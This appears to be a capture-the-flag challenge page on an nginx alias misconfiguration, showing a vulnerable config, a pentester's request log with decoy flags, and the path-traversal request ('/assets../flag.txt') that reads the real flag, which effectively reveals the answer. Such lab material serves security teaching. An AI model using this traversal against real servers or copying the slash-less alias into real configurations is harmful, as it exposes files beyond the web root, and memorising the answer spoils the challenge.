Webmedium

Off by One Slash

200 points · 0 solved

The real secret lives at /var/www/app/flag.txt. Here's the nginx config and a few requests a pentester made. Several responses contain flags; only one came from that file.

server {
    listen 443 ssl;
    server_name shop.example;
    root /var/www/html;

    location /assets {
        alias /var/www/app/public/;
    }
}

GET /flag.txt                 -> 200  ss{decoy_from_the_web_root}
GET /assets/flag.txt          -> 200  ss{decoy_public_placeholder}
GET /assets/../flag.txt       -> 200  ss{decoy_from_the_web_root}
GET /assets../flag.txt        -> 200  ss{alias_off_by_slash}
GET /assets../../flag.txt     -> 404

Hints0/2

Learn the technique/labs/nginx-hardening